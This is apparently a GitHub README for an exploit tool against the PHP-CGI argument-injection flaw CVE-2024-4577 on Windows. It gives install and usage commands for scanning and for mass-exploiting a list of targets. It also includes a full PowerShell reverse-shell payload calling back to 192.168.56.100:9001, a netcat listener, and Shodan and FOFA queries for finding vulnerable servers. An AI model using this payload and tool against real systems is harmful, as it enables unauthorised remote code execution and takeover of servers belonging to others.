GitHub: https://github.com/phirojshah/CVE-2024-4577
Last Commit: September 12th, 2024

PHP CGI Argument Injection (CVE-2024-4577) RCE

📜 Description

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.

"XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target an explloit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode."

🛠️ Installation

$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt

⚙️ Usage

$ python3 CVE-2024-4577.py -s -t https://target.com/

🤖 Establishing reverse shell

PHP Payload

Note

This tool demonstrates realistic attack and techniques (TTPs). However this specific payload sample does not function in this scenario. Modify the shell.php to obtain fully functional payload.

# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>

🖥️ Scanning server

$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning

[+] Target https://target.com is vulnerable to CVE-2024-4577

🎯 Exploiting Vulnerable server

$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php

______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning

[+] Exploit successful!

👨🏻‍💻 Netcat Listener

$ nc -lvnp 9001

🔍 Discovering vulnerable host

Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"